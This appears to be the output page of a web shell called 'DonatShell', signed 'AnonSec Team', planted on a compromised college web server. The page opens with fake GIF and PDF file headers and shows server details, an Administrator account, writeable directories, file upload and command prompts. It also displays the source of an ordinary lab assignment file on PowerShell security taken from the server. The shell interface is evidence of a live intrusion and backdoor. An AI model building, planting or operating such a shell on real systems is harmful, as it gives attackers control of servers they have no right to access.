GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /nginx/html/JimMartinson/CST1861/Labs/Labx07x/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /nginx/html/JimMartinson/CST1861/Labs/Labx07x/Lab05.phpinc
<?
// JimMartinson/CST1861/Labs/Lab03/index.php

$TRACK = "<b>".basename(__FILE__).'</b> <span class="pv_fl">('.__FILE__.")</span>\n<ol>\n";
ini_set('include_path',ini_get('include_path').PATH_SEPARATOR.$_SERVER['DOCUMENT_ROOT']."/"); // Add the DOCUMENT_ROOT to the include_path.
require('application.phpinc');

require('Gradebook/EvaluationSubmission_BEGIN.phpinc'); // Replaced.

?>
<style type="text/css">b {white-space:nowrap;}</style>
<p>
<fieldset><legend><?=$evaluationType?> <?=$evaluationNumber?> Assignment</legend>
The purpose of this lab is to demonstrate your understanding of powershell security.
<br><?=$gradeNote?>
<ol class="count">
  <li>
    Create a directory called <b><?=$evaluationName?></b>. We will use it for all work performed in this lab.
  </li>
	<li>
		Create a text document called <b><?=$saveFilename?>.txt</b> in your <b><?=$evaluationName?></b> directory.
	</li>
	<li>Answer the following 10 questions in the file:
		<br><span class="note">Include the question number before each answer.</span>
		<ol type="1">
    	<li>In powershell, you can specify an object type for a variable. What are the variable types you can use? <span class="note">I found 26 of them, how many can you find?.</span> <span class="attention">Important: List them in alphabetical order!</span></li>
			<li>What is the command to get a sorted list of disabled firewall rule names and store the list in $disFire?</li>
			<li>What is the purpose of the special $_ variable?</li>
			<li>Using Write-Output, what is the command to display the result of 100 multiplied by 10?</li>
			<li>What is the command to prompt the user to enter a name, and then display that name in Red text? Do this all in a single line. Don’t use a variable.</li>
			<li>What is the command to establish a session to the remote computer and save the session in a variable named $session? Use 'localhost' for the remote computer.</li>
			<li>What are the commands to a) Establish a shell session with the remote computer (using the $session variable from question 6), b) Display a list of all processes, and c) Exit?</li>
			<li>Using Get-PSSession and Invoke-Command, what is the command to get a list of the 20 most recent Security event log entries from the remote computer?</li>
			<li>What is the command to close the session that’s in your $session variable?</li>
			<li>What is the command to get the drive letter, type, size(in GB), and free space(in GB) for all drive on this computer? Display the result in table format. <span class="note">This may include network drives.</span></li>
    </ol>
	</li>
  <li>Turn in your assignment:
		<ol type="a">
			<li>Zip up your <b><?=$evaluationName?></b> folder into a file named <b><?=$uploadFilename?></b>.</li>
			<li>Browse and select your <b><?=$uploadFilename?></b> file: <input type="file" name="fileUpload" id="inpFileUpload"<?=$disabled?>><div id="divFileploadError"></div></li>
			<li>Then <input type="submit" name="f_subtask" id="inpSubmit" value="Submit"> for grading.</li>
		</ol>
  </li>
</ol>
<?=$gradeNote?>
</fieldset>
<?
#$deductionPoints = $evaluationInfo['evaluationPoints'] / 10; if ( $deductionPoints == 1 ) { $deductionPoints = '1 point'; } else { $deductionPoints = $deductionPoints.' points'; }
require('Gradebook/EvaluationSubmission_END.phpinc'); // Replaced.
if ($TRACK != '') $_SESSION['TRACK'] .= "<li>End ".basename(__FILE__)."</ol>\n";
?>

Anon7 - 2022
AnonSec Team